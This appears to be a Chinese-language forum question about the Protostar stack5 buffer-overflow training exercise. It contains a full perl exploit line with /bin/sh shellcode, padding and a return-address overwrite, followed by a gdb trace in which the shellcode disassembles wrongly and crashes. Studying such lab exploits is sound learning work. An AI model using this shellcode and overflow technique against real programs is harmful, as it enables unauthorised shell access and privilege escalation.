我想解决Protostar stack5。 这是一个solution。 它把shellcode后的返回地址,我试图把它放在数组中。 我已经尝试了shellcode,它的工作原理。Shellcode没有正确执行
似乎一切正常,执行跳转到shellcode,但在shellcode结束后出现分段错误,并且没有生成shell。我不知道为什么,在gdb
并非所有shellcode指令都正确显示。 例如在0xbffff690
应该是mov %esp,%ecx
而不是cwtl
。也许这是问题?这是为什么发生?
编辑:由于阵列地址在gdb
以外启动时会稍有不同,所以我们需要一个nop底座。所以我的方法可能无法工作,因为数组大小对于这个太小。但是我仍然想知道为什么shellcode的末尾在gdb
中被错误地解释。
perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2
[email protected]:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <[email protected]>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2
Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.
Breakpoint 2, 0xbffff660 in ??()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor %eax,%eax
(gdb) ni
0xbffff662 in ??()
1: x/i $pc
0xbffff662: xor %ebx,%ebx
(gdb)
0xbffff664 in ??()
1: x/i $pc
0xbffff664: mov $0x6,%al
(gdb)
0xbffff666 in ??()
1: x/i $pc
0xbffff666: int $0x80
(gdb)
0xbffff668 in ??()
1: x/i $pc
0xbffff668: push %ebx
(gdb)
0xbffff669 in ??()
1: x/i $pc
0xbffff669: push $0x7974742f
(gdb)
0xbffff66e in ??()
1: x/i $pc
0xbffff66e: push $0x7665642f
(gdb)
0xbffff673 in ??()
1: x/i $pc
0xbffff673: mov %esp,%ebx
(gdb)
0xbffff675 in ??()
1: x/i $pc
0xbffff675: xor %ecx,%ecx
(gdb)
0xbffff677 in ??()
1: x/i $pc
0xbffff677: mov $0x2712,%cx
(gdb)
0xbffff67b in ??()
1: x/i $pc
0xbffff67b: mov $0x5,%al
(gdb)
0xbffff67d in ??()
1: x/i $pc
0xbffff67d: int $0x80
(gdb)
0xbffff67f in ??()
1: x/i $pc
0xbffff67f: xor %eax,%eax
(gdb)
0xbffff681 in ??()
1: x/i $pc
0xbffff681: push %eax
(gdb)
0xbffff682 in ??()
1: x/i $pc
0xbffff682: push $0x68732f2f
(gdb)
0xbffff687 in ??()
1: x/i $pc
0xbffff687: push $0x6e69622f
(gdb)
0xbffff68c in ??()
1: x/i $pc
0xbffff68c: mov %esp,%ebx
(gdb)
0xbffff68e in ??()
1: x/i $pc
0xbffff68e: push %eax
(gdb)
0xbffff68f in ??()
1: x/i $pc
0xbffff68f: push %ebx
(gdb)
0xbffff690 in ??()
1: x/i $pc
0xbffff690: cwtl
(gdb)
0xbffff691 in ??()
1: x/i $pc
0xbffff691: idiv %bh
(gdb)
0xbffff693 in ??()
1: x/i $pc
0xbffff693: mov $0x0,%edi
(gdb)
0xbffff698 in ??()
1: x/i $pc
0xbffff698: das
(gdb)
0xbffff699 in ??()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ??()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
伟大的答案。谢谢 – mik1904